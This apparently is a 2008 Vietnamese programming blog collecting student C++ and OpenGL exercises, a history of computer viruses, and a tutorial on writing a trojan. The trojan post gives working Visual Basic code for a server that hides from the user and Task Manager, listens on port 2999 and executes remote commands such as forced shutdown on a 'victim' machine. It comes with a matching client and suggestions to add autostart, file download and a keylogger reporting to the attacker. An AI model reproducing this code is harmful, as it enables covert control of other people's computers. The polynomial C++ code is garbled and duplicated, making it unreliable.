Thứ Ba, 25 tháng 11, 2008
Thứ Hai, 24 tháng 11, 2008
Bai tap da thuc =C++
#include
#include
class dt
{
private:
int n;// bac cua da thuc
double *a;//tro toi vung nho chua cac he so da thuc a0,a1..
public:
/*~dt()
{
this->n=0;
delete this->a;
}*/
dt()
{
this->n=0;
this->a=NULL;
}
dt(int n1)
{
this->n=n1;
this->a=new double[n1+1];
}
friend ostream& operator<<(ostream& os,const dt &d);//dung de xuat cac he so da thuc friend istream&operator>>(istream& is,dt &d);// dung de nhap cac he so da thuc
dt operator-();//doi dau cac da thuc
dt operator+(const dt &d2);//dung de cong hai da thuc
dt operator-(dt d2);//dung de tru hai da thuc
dt operator*(const dt &d2);//dung de nhan 2 da thuc
void xuatdt();//xuat da thuc
double operator^(const double &x);//dung de tinh gia tri da thuc
double operator[](int i)//dung de cho biet bac va he so cua da thuc
{
if(i<0) s="0.0,t="1.0;" n="int(d[-1]);" i="0;i<="n;++i)" i="0;i<="d.n;++i)"><<","; return os; } istream& operator>>(istream& is,dt &d)
{
if(d.a!=NULL)
delete d.a;
cout<<"bac da thuc:"; cin>> d.n;
d.a=new double[d.n+1];
cout<<"nhap cac he so da thuc:\n"; for(int i=0;i<=d.n;++i) { cout<<" he so bac "<<<"="; is>>d.a[i];
}
return is;
}
void dt::xuatdt()
{
for(int i=n;i>=0;i--)
{
if(i!=0)
cout<<"("<<<")x^"<<<"+"; else cout<<"("<<<")"; } } dt dt::operator -() { dt p(this->n);
for(int i=0;i<=n;++i) p.a[i]=-a[i]; return p; } dt dt::operator +(const dt &d2) { int k,i; k=n>d2.n?n:d2.n;// n>d2.n dung return n,sai return d2.n
dt d(k);
for(i=0;i<=k;++i) if(i<=n&&i<=d2.n) d.a[i]=a[i]+d2.a[i]; else if(i<=n)// neu i<=n nhung ko be hon d2.n thi thuc hien d.a[i]=a[i]; else d.a[i]=d2.a[i]; i=k; while(i>0&&d.a[i]==0.0)
--i;
d.n=i;
return d;
}
dt dt::operator -(dt d2)
{
return (*this+(-d2));
}
dt dt::operator *(const dt&d2)
{
int k,i,j;
k=n+d2.n;
dt d(k);
for(i=0;i<=k;++i) d.a[i]=0; for(i=0;i<=n;++i) for(j=0;j<=d2.n;++j) d.a[i+j]+=a[i]*d2.a[j]; return d; } double dt::operator ^(const double &x) { double s=0.0,t=1.0; for(int i=0;i<=n;++i) { s+=a[i]*pow(x,i); t*=x; } return s; } void main() { dt p,q,r,s,f,h; double x1,x2,g1,g2; cout<<"\n nhap da thuc p "; cin>>p;
cout<<"\n da thuc p: "; p.xuatdt(); cout<<"\n"<
<<"\n nhap da thuc Q "; cin>>q;
cout<<"\n da thuc q: "; q.xuatdt(); cout<<"\n he so:"<<<"\n nhap da thuc R "; cin>>r;
cout<<"\n da thuc r:"; r.xuatdt(); cout<<"\n"<
cout<<"\n da thuc s: "; s.xuatdt(); cout<<"\n"<<<"\n da thuc f: "; f.xuatdt(); cout<<"\n nhap so thuc x1:"; cin>>x1;
cout<<"\n nhap so thuc x2:"; cin>>x2;
g1=f^x1;
g2=F(r,x2);
cout<<"\n da thuc f"<
cout<<"\n f("<
cout<<"\n f("<
getch();
}[code]
Nhung kien thuc ve virus may tinh
1.Virus máy tính là gì ?
Nếu chỉ nghe nói qua dến virus máy tính, thì những nguời không biết có thể cho rằng nó cũng nôm na tựa như một loại virus bệnh dịch nào dó, và họ thuờng phân vân không hiểu virus sẽ lây vào chỗ nào trong máy tính của mình và mình có cần cho máy tính của mình uống kháng sinh không nhỉ ?
Sự thật không phải vậy, virus máy tính thực chất chỉ là một chương trình máy tính có khả năng tự sao chép chính nó từ dối tuợng lây nhiễm này sang dối tuợng khác (dối tuợng có thể là các file chuong trình, van bản, dia mềm...), và chuong trình dó mang tính phá hoại. Virus có nhiều cách lây lan và tất nhiên cung có nhiều cách phá hoại, nhung chỉ cần bạn nhớ rằng dó là một doạn chuong trình và doạn chuong trình dó dùng dể phục vụ những mục dích không tốt
Virus máy tính là do con nguời tạo ra, quả thực cho dến ngày nay có thể coi nó dã trở thành nhu những bệnh dịch cho những chiếc máy tính và chúng tôi, các bạn, chúng ta là những nguời bác si, phải luôn chiến dấu với bệnh dịch và tìm ra những phuong pháp mới dể hạn chế và tiêu diệt chúng. Cung nhu mọi vấn dề ngoài xã hội, cung khó tránh khỏi việc có những loại bệnh mà phải dày công nghiên cứu mới trị duợc, hoặc cung có những truờng hợp gây ra những hậu quả khôn luờng. Chính vì vậy, phuong châm "Phòng hon chống" vẫn luôn dúng dối với virus máy tính
2. Lịch sử phát triển của virus máy tính
Có thể nói virus máy tính có một quá trình phát triển khá dài, và nó luôn song hành cùng nguời bạn dồng hành của nó là những chiếc "máy tính", (và tất nhiên là nguời bạn máy tính của nó chẳng thích thú gì ). Khi mà Công nghệ phần mềm cung nhu phần cứng phát triển thì virus cung phát triển theo. Hệ diều hành thay dổi thì virus máy tính cung tự thay dổi mình dể phù hợp với hệ diều hành dó và dể có thể an bám ký sinh. Tất nhiên là virus không tự sinh ra (và chắc thuợng dế cung chẳng muốn nặn ra một "sinh vật" nhu vậy).
Có thể việc viết virus mang mục dích phá hoại, thử nghiệm hay don giản chỉ là một thú dùa vui ác ý. Nhung chỉ có diều những cái dầu thông minh này khiến chúng ta phải dau dầu dối phó và cuộc chiến này gần nhu không chấm dứt và nó vẫn tiếp diễn, và dó cung là lý do khiến bạn phải ngồi dây và dọc những thông tin này.
Có nhiều tài liệu nói khác nhau nói về xuất xứ của virus máy tính, âu cung là diều dễ hiểu, bởi lẽ và thời diểm dó con nguời chua thể hình dung ra nổi một "xã hội" dông dúc và nguy hiểm của virus máy tính nhu ngày nay, diều dó cung có nghia là không mấy nguời quan tâm tới chúng. Chỉ khi chúng gây ra những hậu quả nghiêm trọng nhu ngày nay, nguời ta mới lật lại hồ so dể tìm hiểu. Tuy vậy, da số các câu chuyện xoay quanh việc xuất xứ của virus máy tính dều ít nhiều liên quan tới những sự kiện sau:
1983 - Ðể lộ nguyên lý của trò chơi "Core War"
"Core War" là một cuộc dấu trí giữa hai đoạn chương trình máy tính do 2 lập trình viên viết ra. Mỗi dấu thủ sẽ đưa một chuong trình có khả nang tự tái tạo gọi là Organism vào bộ nhớ máy tính. Khi bắt dầu cuộc choi, mỗi dấu thủ sẽ cố gắng phá huỷ Organism của dối phuong và tái tạo Organism của mình. Ðấu thủ thắng cuộc là dấu thủ tự nhân bản duợc nhiều nhất. Trò choi "Core War" này duợc giữ kín dến năm 1983, Ken Thompson nguời dã viết phiên bản dầu tiên cho hệ diều hành UNIX, đã để lộ ra khi nhận một trong những giải thuởng danh dự của giới điện toán - Giải thuởng A.M Turing. Trong bài diễn văn của mình ông dã đưa ra một ý tuởng về virus máy tính dựa trên trò choi "Core War". Cùng năm 1983, tiến sỹ Frederik Cohen dã chứng minh duợc sự tồn tại của virus máy tính. Tháng 5 nam 1984 tờ báo Scientific America có đăng một bài báo mô tả về "Core War" và cung cấp cho dộc giả những thông tin huớng dẫn về trò choi này. Kể từ dó virus máy tính xuất hiện và di kèm theo nó là cuộc chiến giữa những nguời viết ra virus và những nguời diệt virus.
1986 - Brain virus
Có thể duợc coi là virus máy tính dầu tiên trên thế giới, Brain âm thầm dổ bộ từ Pakistan vào nuớc Mỹ với mục tiêu dầu tiên là Truờng Ðại học Delaware. Một noi khác trên thế giới cung dã mô tả sự xuất hiện của virus, dó là Ðại học Hebrew - Israel.
1987 - Lehigh virus xuất hiện
Lại một lần nữa liên quan tới một truờng Ðại học. Lehigh chính là tên của virus xuất hiện nam 1987 tại truờng Ðại học này. Trong thời gian này cung có 1 số virus khác xuất hiện, dặc biệt WORM virus
1988 - Virus lây trên mạng
Ngày 2 tháng 11 nam 1988, Robert Morris dua virus vào mạng máy tính quan trọng nhất của Mỹ, gây thiệt hại lớn. Từ dó trở di nguời ta mới bắt dầu nhận thức duợc tính nguy hại của virus máy tính.
1989 - AIDS Trojan
Xuất hiện Trojan
1991 - Tequila virus
Ðây là loại virus dầu tiên mà giới chuyên môn gọi là virusđa hình, nó dánh dấu một buớc ngoặt trong cuộc chiến giữa cái thiện và cái ác trong các hệ thống máy tính.
Ðây thực sự là loại virus gây dau dầu cho những nguời diệt virus và quả thật không dễ dàng gì dể diệt chúng. Chúng có khả nang tự thay hình dổi dạng sau mỗi lần lây nhiễm, là cho việc phát hiện ra chúng quả thật là khó. Bkav có cập nhật một số loại virus tuong tự nhu vậy, và chúng tôi biết sự khó khan khi diệt chúng nhu thế nào.
1992 - Michelangelo virus
Tiếp nối sự dáng sợ của "virus đa hình" nam 1991, thì công cụ nam 92 này tạo thêm sức mạnh cho các loại virus máy tính bằng cách tạo ra sự da hình cực kỳ phức tạp. Quả thật họ luôn biết cách gây ra khó khan cho những nguời diệt virus.
1995 - Concept virus
Sau gần 10 nam kể từ ngày virus máy tính dầu tiên xuất hiện, dây là loại virus dầu tiên có nguyên lý hoạt dộng gần nhu thay dổi hoàn toàn so với những tiền bối của nó. Chúng gây ra một cú sốc cho những công ty diệt virus cung nhu những nguời tình nguyện trong linh vực phòng chống virus máy tính. Cung phải tự hào rằng khi virus này xuất hiện, trên thế giới chua có loại "kháng sinh" nào thì tại Việt Nam chúng tôi dã dua ra duợc giải pháp rất don giản dể loại trừ loại virus này và dó cung là thời diểm Bkav bắt dầu duợc mọi nguời sử dụng rộng rãi trên toàn Quốc.
Sau này những virus theo nguyên lý của Concept duợc gọi chung là virus macro
1996 - Boza virus
Khi hãng Microsoft chuyển sang hệ diều hành Windows95 và họ cho rằng virus không thể công phá thành trì của họ duợc, thì nam 1996 xuất hiện virus lây trên hệ điều hành Windows95
1999 - Melissa, Bubbleboy virus
Ðây thật sự là một con ác mộng với các máy tình trên khắp thế giới. Sâu Melissa không những kết hợp các tính nang của sâu Internet và virus marco, mà nó còn biết khai thác một công cụ mà chúng ta thuờng sử dụng hàng ngày là Microsoft Outlook Express dể chống lại chính chúng ta. Khi máy tính của bạn bị nhiễm Mellisa, nó sẽ tự phân phát mình di mà khổ chủ không hề hay biết. Và bạn cung sẽ rất bất ngờ khi bị mang tiếng là phát tán virus. Chỉ từ ngày thứ sáu tới ngày thứ hai tuần sau, virus này dã kịp lây nhiễm 250 ngàn máy tính trên thế giới thông qua Internet, trong dó có Việt Nam, gây thiệt hại hàng tram triệu USD. Một lần nữa cuộc chiến lại sang một buớc ngoặt mới, báo hiệu nhiều khó khan bởi Internet dã duợc chứng minh là một phuong tiện hữu hiệu dể virus máy tính có thể lây lan trên toàn cầu chỉ trong vài tiếng dồng hồ. Nam 1999 dúng là một nam dáng nhớ của những nguời sử dụng máy tính trên toàn cầu, ngoài Melissa, virus Chernobyl hay còn gọi là CIH dã phá huỷ dữ liệu của hàng triệu máy tính trên thế giới, gây thiệt hại gần 1 tỷ USD vào ngày 26 tháng 4.
2000 - DDoS & Love Letter virus
Có thể coi là vụ việc virus phá hoại lớn nhất từ truớc dến nay, Love Letter có xuất xứ từ Philippines do một sinh viên nuớc này tạo ra, chỉ trong vòng có 6 tiếng dồng hồ dã kịp di vòng qua 20 nuớc trong dó có Việt Nam, lây nhiễm 55 triệu máy tính, gây thiệt hại 8,7 tỷ USD. Theo nhận dịnh của chúng tôi, virus này chỉ cần "cải tiến" một chút xíu thì thiệt hại có thể gấp tram lần nhu thế.
Thế còn DDoS? Những virus này phát tán di khắp noi, nằm vùng ở những noi nó lây nhiễm. Cuối cùng chúng sẽ dồng loạt tấn công theo kiểu "Từ chối dich vụ - Denial of Service" (yêu cầu liên tục, từ nhiều máy dồng thời, làm cho các máy chủ bị tấn công không thể phục vụ duợc nữa và dẫn dến từ chối những yêu cầu mới -> bị vô hiệu hoá) vào các hệ thống máy chủ khi nguời diều hành nó phất cờ, hoặc chúng tự dịnh cùng một thời diểm tấn công. Và một hệ thống diện thoại của Tây Ban Nha dã là vật thí nghiệm dầu tiên .
2001 - Winux Windows/Linux Virus, Nimda, Code Red virus
Winux Windows/Linux Virus dánh dấu những virus có thể lây duợc trên các hệ diều hành Linux chứ không chỉ Windows. Chúng nguỵ trang duới dạng file MP3 cho download. Nếu bạn là một nguời mê MP3 và mê nhạc thì phải hết sức cẩn thận.
Nimda, Code Red là những virus tấn công các dối tuợng của nó bằng nhiều con duờng khác nhau (từ máy chủ sang máy chủ, sang máy trạm, từ máy trạm sang máy trạm...), làm cho việc phòng chống vô cùng khó khan, cho dến tận lúc này (tháng 9 nam 2002) ở Việt Nam vẫn còn những co quan với mạng máy tính có hàng tram máy tính bị virus Nimda quấy nhiễu. Chúng cung chỉ ra một xu huớng mới của các loại virus máy tính là "tất cả trong một", trong một virus bao gồm nhiều virus, nhiều nguyên lý khác nhau.
2002 - Sự ra dời của hàng loạt loại virus mới
Ngay trong tháng 1 nam 2002 dã có một loại virus mới ra dời. Virus này lây những file .SWF, diều chua từng xảy ra truớc dó (ShockWaveFlash - một loại công cụ giúp làm cho các trang Web thêm phong phú). Tháng 3 dánh dấu sự ra dời của loại virus viết bằng ngôn nhữ C#, một ngôn ngữ mới của Microsoft. Con sâu .Net này có tên SharpA và duợc viết bởi một nguời phụ nữ!
Tháng 5 SQLSpider ra dời và chúng tấn công các chuong trình dùng SQL. Tháng 6, có vài loại virus mới ra dời:
Perrun lây qua Image JPEG (Có lẽ bạn nên cảnh giác với mọi thứ). Scalper tân công các FreeBSD/Apache Web server.
Ðến dây các bạn dã nhìn nhận duợc phần nào lịch sử phát triển của virus máy tính. Chúng cung duợc phát triển theo một trình tự lịch sử tiến hoá từ thấp dến cao. Ðấy cung chính là lí do mà chúng ta cung luôn phải dau dầu dể bắt kịp duợc tiến trình của chúng. Và nếu bạn là một nguời không da nghi, diều dó rất tốt nhung chúng tôi khuyên bạn nên biết nghi ngờ, bởi nhu bạn dã thấy, duờng nhu tất cả mọi thứ dều có thể nhiễm virus, chúng không tha bất cứ cái gì và chúng sẽ thâm nhập vào tất cả những gì có thể. Bạn hãy tự tạo cho mình phuong thức phòng chống hữu hiệu,
tai lieu sieu tam thank.
Code virus trojan
Viết một Trojan dễ dàng hơn nhiều so với mọi người nghĩ. Tất cả thực sự chỉ cần hai chương trình ứng dụng đơn giản với nội dung ít hơn 100 dòng mã lệnh. Chương trình đầu tiên là client, là chương trình cho người sử dụng biết. Chương trình thứ hai là server, hay phần “trojan” thực. Bây giờ chúng ta sẽ xem chúng ta cần gì cho cả hai và một số ví dụ mẫu.
Server
Server là phần Trojan của chương trình. Nó cần phải được giấu để người dùng bình thường không thể tìm thấy nó.
Để thực hiện điều này bạn bắt đầu bằng cách sử dụng đoạn mã lệnh sau:
Private Sub Form_Load()
Me.Visible = False
End Sub
Đoạn mã này làm cho chương trình không thể thấy được bằng mắt thường nhưng có thể bị phát hiện trong Task Manager của Windows vì thế nếu muốn chương trình ẩn tốt hơn, chúng ta có thể viết đoạn mã như sau:
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub
(Trong hệ điều hành Windows, tất cả chương trình có đuôi .exe đều được thể hiện trong danh sách chương trình chạy. Tuy nhiên chương trình của bạn sẽ được ẩn trong Running Applications List )
Bây giờ chúng ta đã có một chương trình tàng hình đối với người sử dụng bình thường, mà chỉ cần có bốn dòng lệnh. Tuy nhiên nó vẫn còn quá đơn giản, chúng ta có thể làm cho nó tốt hơn bằng cách thêm vào một số hàm.
Đầu tiên là làm sao cho nó có thể “nghe” được các kết nối khi nó xâm nhập được vào máy, chúng ta cần thêm vào một điều khiển Winsock Control.
Tôi đặt tên cho điều khiển của tôi là “win”. Còn các bạn có thể đặt là bất cứ cái gì tuỳ ý. Để làm cho Trojan "nghe" được cổng 2999 khi khởi động, chúng ta viết đoạn mã như sau:
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub
Đoạn mã này thiết lập một cổng mở cục bộ tới cổng 2999, và cổng mà nó gửi tới là 445.
Bây giờ, chương trình đã có thể “nghe”, nhưng chưa làm được điều gì rõ ràng cả. Chúng ta thêm đoạn mã sau vào form chính:
Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub
Tiếp theo, chúng ta sẽ viết hàm DoActions như là một chương trình con để gọi vào main form. Đoạn mã trên thực hiện hai nhiệm vụ: Đầu tiên là làm cho tất cả các yêu cầu kết nối được tự động chấp nhận; tiếp đó là làm cho tất cả các dữ liệu được tự động chấp nhận và sau đó thì chuyển toàn bộ dữ liệu này sang cho hàm DoActions mà chúng ta sẽ viết dưới đây.
Hàm DoActions nên viết ở dạng public để các chương trình ở ngoài modul cũng có thể dùng được. Thêm đoạn mã sau vào modul, và chúng ta đang làm việc với server của Trojan:
Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function
Bây giờ bạn đã có một chương trình mà khi dữ liệu “Msgbox” được gửi tới cổng 2999, nó sẽ thể hiện một hộp tin nhắn msgbox trên máy tính của nạn nhân. Khi dữ liệu “shutdown” được gửi tới cổng 2999, nó sẽ tắt máy tính của nạn nhân. Tôi dùng câu lệnh “Select Case” để dễ dàng chỉnh sửa đoạn mã về sau này. Xin chúc mừng, bạn vừa mới viết xong Trojan đầu tiên của bạn. Bây giờ chúng ta hãy xem lại đoạn mã hoàn chỉnh.
Main Form
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub
Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub
Hãy nhớ thêm điều khiển winsock và đặt tên nó là “win” nếu bạn dùng đoạn mã này:
Module
Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function
Tất cả phần Server của Trojan chỉ có thể. Giờ chúng ta xem xét đến phần Client.
Client
Client là cái mà bạn sẽ tương tác tới. Bạn sẽ dùng nó để kết nối tới server từ xa (trojan) và gửi cho nó các lệnh. Sau khi đã viết được phần server chấp nhận câu lệnh “shutdown”, “msgbox”, chúng ta hãy tạo ra một client gửi đi các câu lệnh đó.
Tạo một form thêm một điều khiển Winsock Control, một hộp text box và bốn nút. Trong đoạn mã dưới hộp text box được đặt tên là txtIP, các nút được đặt tên là cmdConnect, cmdMsgbox, cmdShutdown và cmdDisconnect. Đoạn mã như sau:
Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub
Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub
Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub
Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub
Đó là đoạn mã cho client. Tất cả việc nó làm là lấy địa chỉ IP từ txtIP và kết nối với cổng từ xa 2999. Sau khi được kết nối, bạn có thể gửi dữ liệu “shutdown” hay “msgbox” tới server và các hoạt động tương ứng sẽ được thực hiện (tắt máy tính hay thể hiện một hộp tin nhắn).
Hai chương trình này làm được rất ít nhưng có thể cải tiến nhanh chóng thành một chức năng quản trị từ xa mạnh nếu bạn biết bạn đang làm gì. Tôi đề nghị là nên cố gắng thêm các loại điều khiển lỗi và hàm cho cả client và server.
Lời khuyên
- Hãy làm cho server có thể tải được một file đặc tả của người tấn công.
- Thêm mã lệnh để Server được thực thi lúc khởi động (là một khoá thanh ghi).
- Và một keylogger cho server – làm cho nó gửi thông tin cho người tấn công.
- Có rất nhiều cách bạn có thể làm, chỉ cần dùng trí tưởng tượng của bạn.
Code da thuc =C++
#include
#include
class dt
{
private:
int n;// bac cua da thuc
double *a;//tro toi vung nho chua cac he so da thuc a0,a1..
public:
/*~dt()
{
this->n=0;
delete this->a;
}*/
dt()
{
this->n=0;
this->a=NULL;
}
dt(int n1)
{
this->n=n1;
this->a=new double[n1+1];
}
friend ostream& operator<<(ostream& os,const dt &d);//dung de xuat cac he so da thuc friend istream&operator>>(istream& is,dt &d);// dung de nhap cac he so da thuc
dt operator-();//doi dau cac da thuc
dt operator+(const dt &d2);//dung de cong hai da thuc
dt operator-(dt d2);//dung de tru hai da thuc
dt operator*(const dt &d2);//dung de nhan 2 da thuc
void xuatdt();//xuat da thuc
double operator^(const double &x);//dung de tinh gia tri da thuc
double operator[](int i)//dung de cho biet bac va he so cua da thuc
{
if(i<0) s="0.0,t="1.0;" n="int(d[-1]);" i="0;i<="n;++i)" i="0;i<="d.n;++i)"><<","; return os; } istream& operator>>(istream& is,dt &d)
{
if(d.a!=NULL)
delete d.a;
cout<<"bac da thuc:"; cin>> d.n;
d.a=new double[d.n+1];
cout<<"nhap cac he so da thuc:\n"; for(int i=0;i<=d.n;++i) { cout<<" he so bac "<<<"="; is>>d.a[i];
}
return is;
}
void dt::xuatdt()
{
for(int i=n;i>=0;i--)
{
if(i!=0)
cout<<"("<<<")x^"<<<"+"; else cout<<"("<<<")"; } } dt dt::operator -() { dt p(this->n);
for(int i=0;i<=n;++i) p.a[i]=-a[i]; return p; } dt dt::operator +(const dt &d2) { int k,i; k=n>d2.n?n:d2.n;// n>d2.n dung return n,sai return d2.n
dt d(k);
for(i=0;i<=k;++i) if(i<=n&&i<=d2.n) d.a[i]=a[i]+d2.a[i]; else if(i<=n)// neu i<=n nhung ko be hon d2.n thi thuc hien d.a[i]=a[i]; else d.a[i]=d2.a[i]; i=k; while(i>0&&d.a[i]==0.0)
--i;
d.n=i;
return d;
}
dt dt::operator -(dt d2)
{
return (*this+(-d2));
}
dt dt::operator *(const dt&d2)
{
int k,i,j;
k=n+d2.n;
dt d(k);
for(i=0;i<=k;++i) d.a[i]=0; for(i=0;i<=n;++i) for(j=0;j<=d2.n;++j) d.a[i+j]+=a[i]*d2.a[j]; return d; } double dt::operator ^(const double &x) { double s=0.0,t=1.0; for(int i=0;i<=n;++i) { s+=a[i]*pow(x,i); t*=x; } return s; } void main() { dt p,q,r,s,f,h; double x1,x2,g1,g2; cout<<"\n nhap da thuc p "; cin>>p;
cout<<"\n da thuc p: "; p.xuatdt(); cout<<"\n"<
<<"\n nhap da thuc Q "; cin>>q;
cout<<"\n da thuc q: "; q.xuatdt(); cout<<"\n he so:"<<<"\n nhap da thuc R "; cin>>r;
cout<<"\n da thuc r:"; r.xuatdt(); cout<<"\n"<
cout<<"\n da thuc s: "; s.xuatdt(); cout<<"\n"<<<"\n da thuc f: "; f.xuatdt(); cout<<"\n nhap so thuc x1:"; cin>>x1;
cout<<"\n nhap so thuc x2:"; cin>>x2;
g1=f^x1;
g2=F(r,x2);
cout<<"\n da thuc f"<
cout<<"\n f("<
cout<<"\n f("<
getch();
}[code]
Code bai lam TAM GIAC = C++
#include
#include
class DIEM
{
private:
int x,y;
public:
DIEM();
void nhap();
void xuat();
float dodai(DIEM B);
} ;
class TAMGIAC
{
private:
DIEM A,B,C;
public:
void nhap();
void xuat();
float chuvi();
float dientich();
} ;
DIEM::DIEM()
{
x=y=1;
}
void DIEM::nhap()
{
cout<<"nhap toa do cua DIEM:" ; cin>>x>>y;
}
void DIEM::xuat()
{
cout<<"cac toa do vua nhap la:" ;
cout<<"(" <
cout<<'\n';
}
float DIEM::dodai(DIEM B)
{
float m;
m=sqrt((x-B.x)*(x-B.x)+(y-B.y)*(y-B.y)) ;
return m;
}
void TAMGIAC::nhap()
{
A.nhap();
B.nhap();
C.nhap();
}
void TAMGIAC::xuat()
{
A.xuat();
B.xuat();
C.xuat();
}
float TAMGIAC::chuvi()
{
float m,n,p,cv;
m=A.dodai(B);
n=B.dodai(C);
p=C.dodai(A);
cv=m+n+p;
return cv;
}
float TAMGIAC::dientich()
{
float m,n,p,temp,dt;
m=A.dodai(B);
n=B.dodai(C);
p=C.dodai(A);
temp=(m+n+p)/2;
dt=sqrt(temp*(temp-m)*(temp-n)*(temp-p));
return dt;
}
void main()
{
clrscr();
TAMGIAC a;
float cv,dt;
a.nhap();
a.xuat();
cv=a.chuvi();
cout<<'\n'<<"chu vi cua tam giac la:";
cout<
cout<<"dien tich cua tam giac la:" ;
cout<
getch();
}
Code ve co vua
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#include
#include "glut.h"
#include
// kich thuoc, vi tri cua so
#define windowWidth 640
#define windowHeight 480
#define startX 0
#define startY 0
// hang so PI
#define M_PI 3.14159265358979
// macro doi tu do --> radian
#define RAD(goc) ((goc)*(M_PI/180.0))
// ham khoi tao
void Init();
// !!! ham ve (tat ca thao tac ve nam trong ham nay)
void Display();
// ham ve lai moi khi cua so thay doi kich thuoc
void Reshape(int Width,int Height);
// ham xu ly Idle
void OnIdle();
void DrawSquareBlack(int x0,int y0,int d);
void DrawSquareWhite(int x0,int y0,int d);
void DrawChessBoard(int xc,int yc);
int main(int argc, char* argv[])
{
// Khoi tap cua so OpenGL
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB);
glutInitWindowSize(windowWidth, windowHeight);
glutInitWindowPosition(startX, startY);
glutCreateWindow("Chess Board");
// Cac thao tac khoi tao
Init();
// Dang ky ham Display
glutDisplayFunc(Display);
// Dang ky ham Reshape
glutReshapeFunc(Reshape);
// Dang ky ham OnIdle
glutIdleFunc(OnIdle);
// Vong lap su kien
glutMainLoop();
// Ket thuc
return 0;
}
void Init()
{
glClearColor(0.0,0.0,0.0,0.0);
}
void Display()
{
// Xoa de bat dau ve
glClear(GL_COLOR_BUFFER_BIT);
// !!! Cac thao tac ve
int xMax = glutGet(GLUT_WINDOW_WIDTH);
int yMax = glutGet(GLUT_WINDOW_HEIGHT);
DrawChessBoard(xMax/2,yMax/2);
// Ket xuat ra man hinh
glFlush();
glutSwapBuffers();
}
void OnIdle()
{
// Goi ham Display de ve lai
glutPostRedisplay();
}
void Reshape(int Width,int Height)
{
glViewport(0, 0 , (GLsizei)Width,(GLsizei)Height);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluOrtho2D(0,(GLdouble)Width,0, (GLdouble)Height);
}
void DrawSquareBlack(int x0,int y0,int d)
{
glBegin(GL_POLYGON);
glVertex2f(x0,y0);
glVertex2f(x0+d,y0);
glVertex2f(x0+d,y0-d);
glVertex2f(x0,y0-d);
glEnd();
}
void DrawSquareWhite(int x0,int y0,int d)
{
glBegin(GL_LINE_LOOP);
glVertex2f(x0,y0);
glVertex2f(x0+d,y0);
glVertex2f(x0+d,y0-d);
glVertex2f(x0,y0-d);
glEnd();
}
void DrawChessBoard(int xc,int yc)
{
GLfloat R = sqrt(140*140+140*140);
for(int i=0;i<8;i++)
{
for(int j=0;j<8;j++)
{
if((i%2==0&&j%2==0)||(i%2==1&&j%2==1))
{
glColor3ub(255,255,255);
DrawSquareBlack(xc + j*35 + R*cos(RAD(135)),yc - i*35 + R*sin(RAD(135)),35);
}
glColor3ub(0,255,0);
DrawSquareWhite(xc + j*35 + R*cos(RAD(135)),yc - i*35 + R*sin(RAD(135)),35);
}
}
}
Chuong trinh ve hinh vuong = VB
#include
#include "glut.h"
#include "iostream.h"
#include "afxwin.h"
#include
// kich thuoc, vi tri cua so
#define windowWidth 640
#define windowHeight 480
#define startX 0
#define startY 0
// hang so PI
#define M_PI 3.14159265358979
// macro doi tu do --> radian
#define RAD(goc) ((goc)*(M_PI/180.0))
// cau truc 1 thanh phan mau theo RGB
struct colorentry {
unsigned char red;
unsigned char green;
unsigned char blue;
colorentry(int r, int g, int b):red(r),green(g), blue(b){};
};
// ham khoi tao
void Init();
// !!! ham ve (tat ca thao tac ve nam trong ham nay)
void Display();
// ham ve lai moi khi cua so thay doi kich thuoc
void Reshape(int Width,int Height);
// ham xu ly ban phim
void OnKey(unsigned char key,int x, int y);
// ham ve duong thang
void DrawLine(int x1, int y1, int x2,int y2, colorentry c);
// ham ve diem
void PutPixel(int x, int y, colorentry c);
// ham ve hinh vuong
void DrawSquare(int x0, int y0, int w, colorentry c);
int main(int argc, char* argv[])
{
// Khoi tap cua so OpenGL
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB);
glutInitWindowSize(windowWidth, windowHeight);
glutInitWindowPosition(startX, startY);
glutCreateWindow("Draw Square Demo");
// Cac thao tac khoi tao
Init();
// Dang ky ham Display
glutDisplayFunc(Display);
// Dang ky ham Reshape
glutReshapeFunc(Reshape);
// Dang ky ham OnKey
glutKeyboardFunc(OnKey);
// Vong lap su kien
glutMainLoop();
// Ket thuc
return 0;
}
void Init()
{
glClearColor(0.0,0.0,0.0,0.0);
}
int w=100;
void Display()
{
// Xoa de bat dau ve
glClear(GL_COLOR_BUFFER_BIT);
// !!! Cac thao tac ve
int xMax = glutGet(GLUT_WINDOW_WIDTH);
int yMax = glutGet(GLUT_WINDOW_HEIGHT);
DrawSquare(xMax/2,yMax/2,w,colorentry(255,255,0));
PutPixel(xMax/2,yMax/2,colorentry(255,0,0));
// Ket xuat ra man hinh
glFlush();
}
void Reshape(int Width,int Height)
{
glViewport(0, 0 , (GLsizei)Width,(GLsizei)Height);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluOrtho2D(0,(GLdouble)Width,0, (GLdouble)Height);
}
void OnKey(unsigned char key,int x, int y)
{
switch(key)
{
case '+':
w+=10;
break;
case '-':
w=w-10;
break;
